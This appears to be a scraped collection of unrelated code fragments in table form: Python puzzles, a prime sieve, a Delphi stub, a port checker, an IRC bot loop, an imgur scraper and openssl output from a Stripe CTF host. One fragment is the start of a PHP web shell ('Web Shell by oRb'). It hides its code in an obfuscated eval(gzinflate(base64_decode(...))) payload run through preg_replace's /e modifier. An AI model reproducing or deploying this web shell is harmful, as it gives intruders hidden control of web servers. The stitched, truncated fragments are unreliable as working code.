| def get_candidate_boards(board): | |
| boards = [] | |
| queen_locations = [(x, y) for x in range(len(board)) for y in range(len(board)) if board[x][y] == "Q"] | |
| left_diagonals = [(x-y, 0) for (x, y) in queen_locations] | |
| right_diagonals = [(x+y, 0) for (x, y) in queen_locations] | |
| for x, y in ((x, y) for x in range(len(board)) for y in range(len(board)) if board[x][y] != "Q"): | |
| temp_board = board[:x] + [board[x][:y] + ["Q"] + board[x][y+1:]] + board[x+1:] | |
| valid_cols = all(col.count("Q") < 2 for col in temp_board) | |
| valid_rows = all(row.count("Q") < 2 for row in zip(*temp_board)) |
| unit Unit1; | |
| interface | |
| uses | |
| Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, | |
| Dialogs, ExtCtrls, StdCtrls; | |
| type | |
| TForm1 = class(TForm) |
| import socket | |
| socket.setdefaulttimeout(0.2) | |
| def isOpen(ip, port): | |
| ip = socket.gethostbyname(ip) | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| if s.connect_ex((ip, int(port))) == 0: | |
| return True | |
| else: | |
| return False |
| n=1299721;j=int | |
| sieve=[True]*n | |
| for i in range(3,j(n**0.5)+1,2): | |
| if sieve[i]: sieve[i*i::2*i]=[False]*((n-i*i-1)//(2*i)+1) | |
| p=[2]+[i for i in range(3,n,2)if sieve[i]] | |
| k=j(input()) | |
| while k: | |
| print(p[k-1]) | |
| k=j(input()) |
| <?php # Web Shell by oRb | |
| #$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0A |
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| $ openssl s_client -connect level06-2.stripe-ctf.com:443 | |
| CONNECTED(00000003) | |
| depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA | |
| verify error:num=20:unable to get local issuer certificate | |
| verify return:0 | |
| --- | |
| Certificate chain | |
| 0 s:/C=US/ST=California/L=San Francisco/O=Stripe, Inc./OU=Security Department/CN=*.stripe-ctf.com | |
| i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3 | |
| 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3 |
| a = 6 | |
| b = 3 | |
| c = a * b | |
| print("{} {} {}".format(a, b, c)) | |
| a = 6 | |
| b = 2 | |
| c = a / b |
| while True: | |
| bot_data = bot.recv(2048) | |
| bot_data = bot_data.strip(str.encode('\r\n')) | |
| print(bot_data) | |
| if bot_data.find(str.encode("PING :")) != -1: | |
| bot.send(b'PONG ' + bot_data.split()[1] + b'\r\n') | |
| print("[*]PONG %s" % HOST) |
| #imports | |
| import os | |
| import random | |
| import string | |
| import urllib.request | |
| #variables | |
| BASE_URL = "http://imgur.com/" | |
| CHARSET = string.ascii_letters + string.digits | |
| DIR_PATH = "images/" |